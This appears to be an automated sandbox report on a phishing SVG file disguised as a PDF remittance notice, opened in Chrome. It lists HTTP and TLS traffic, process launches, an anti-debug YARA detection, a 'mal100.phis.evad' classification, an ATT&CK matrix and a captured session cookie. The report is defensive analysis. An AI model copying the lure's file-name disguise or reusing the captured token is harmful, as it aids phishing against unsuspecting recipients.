laravel_session=eyJpdiI6InJoSGpYd2RyUk0zci9Xc05vblBDYnc9PSIsInZhbHVlIjoiWTNCUy9TUjRaQ2pjakVqbU52T0J4emhMK2MwaU5RaGYyM3J5MEw1cFBrdDdsUlUrYlU5SWh4ODl4OVhPZEJZUmtFWlliS1NMSXdWa1hJZXVJN3UwUjA4K1NmU1B0ZXpuNmxNMkxlNHZHWmlLZG5RUU11SEtmdHJiN0wrVUhLa0MiLCJtYWMiOiJjNjc3YTcxZTFiYmVlZWY0YTc4YmI2YjZiN2Q4MzNmMDg1ZWE4M2MxMzMxYzgzOTBhZGQ4YjQyZGI1OTg1OTNjIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 13:49:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3r9cEn7cSXmpR8BLAPAUNUIGVaC8VNWEy8IFAQb1FvSxBHXUAZrOtfVGe770d%2FGZcus9kXyoIzGyfakegJlpGdbA%2FTJb1e1k2Rti%2FWihGwQiaCMRgGE4v9yJsiyP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=355&min_rtt=338&rtt_var=161&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2050&delivery_rate=8460251&cwnd=252&unsent_bytes=0&cid=51857d2b6002a1bf&ts=171&x=0"Server: cloudflareCF-RAY: 922d6f44fa2b1892-MRSalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=11560&min_rtt=11551&rtt_var=4338&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1717&delivery_rate=250714&cwnd=187&unsent_bytes=0&cid=65f6b4e126c81e1b&ts=415&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 13:50:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ArlcNUUlMTI92%2BVJDN0QhKxZDc%2F0MWNW%2FFGzQvv0LTmaOHgrHIZx3JhZapZfLZtRZUPudwuLiXUTudZ6eExNFINiTIbJ3W%2BpgkL8Oubh5CSai2QaaGk0yaUOIJ8B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=346&min_rtt=342&rtt_var=137&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2309&delivery_rate=10698412&cwnd=252&unsent_bytes=0&cid=a5d5fb02d7d800c5&ts=278&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 922d6fdb3f4fe1d5-MRSalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=11565&min_rtt=11560&rtt_var=4346&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1977&delivery_rate=249526&cwnd=249&unsent_bytes=0&cid=1ca49da39e76fcbe&ts=529&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 13:50:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6ZCkC7SoRhKg6V3o0rdH%2BtGyer%2FqAarMlnYbY8TssgKO0rhZKfgmvZZ5esaPAPItiFHPx92Ci6VKY6GhvMTbRi8eiLBxlT20P2Yb2bWvFkAczfOA8UP4kjF0wNZO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=332&min_rtt=329&rtt_var=131&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2069&delivery_rate=11264623&cwnd=252&unsent_bytes=0&cid=50e42579462a2c99&ts=169&x=0"Server: cloudflareCF-RAY: 922d6fdd39312c78-MRSalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=11652&min_rtt=11589&rtt_var=4391&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1736&delivery_rate=249892&cwnd=244&unsent_bytes=0&cid=3744bff5bbbfea30&ts=414&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 13:50:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iIOuUexSHN8c7bje4cu2nhG%2FrunohEsNi3rIQIdXwDG4GhH0rjXxyOLNdBuYX8gmiYMJ8n1ixRTjGpSKqTns37e6uX1vYGcFH0pvfsaqt%2BxX%2FX1ECfBqhBNLa0xV"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=320&min_rtt=308&rtt_var=139&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2069&delivery_rate=9985185&cwnd=252&unsent_bytes=0&cid=dcad95e264cbd68c&ts=157&x=0"CF-RAY: 922d701cfeaa97df-MRSalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 13:51:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tyKiuVMW7LUzfopp7X84ci780FEnzeCnXUXhwNH4uv74Kf%2FImvufbLsqGtMTsjthFZBOamLPujz%2BGAb0QqU4DrK5rurcHrDkVR2%2B1Af4rRAclhhejZlOhhlt6eIm"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=349&min_rtt=340&rtt_var=146&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2046&delivery_rate=9768115&cwnd=252&unsent_bytes=0&cid=0920665983e80162&ts=80284&x=0"CF-RAY: 922d6f3e2b42e1b0-MRSalt-svc: h3=":443"; ma=86400

Source: chromecache_163.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_162.1.dr, chromecache_124.1.dr	String found in binary or memory: http://prismstandard.org/namespaces/prismusagerights/2.1/
Source: chromecache_163.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_139.1.dr	String found in binary or memory: https://www.amazon.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49829 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir8688_2073766604

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir8688_2073766604

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winSVG@25/87@40/17

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,12764826160044487422,18028934934294527856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2040 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,12764826160044487422,18028934934294527856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5036 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,12764826160044487422,18028934934294527856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2040 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,12764826160044487422,18028934934294527856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5036 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
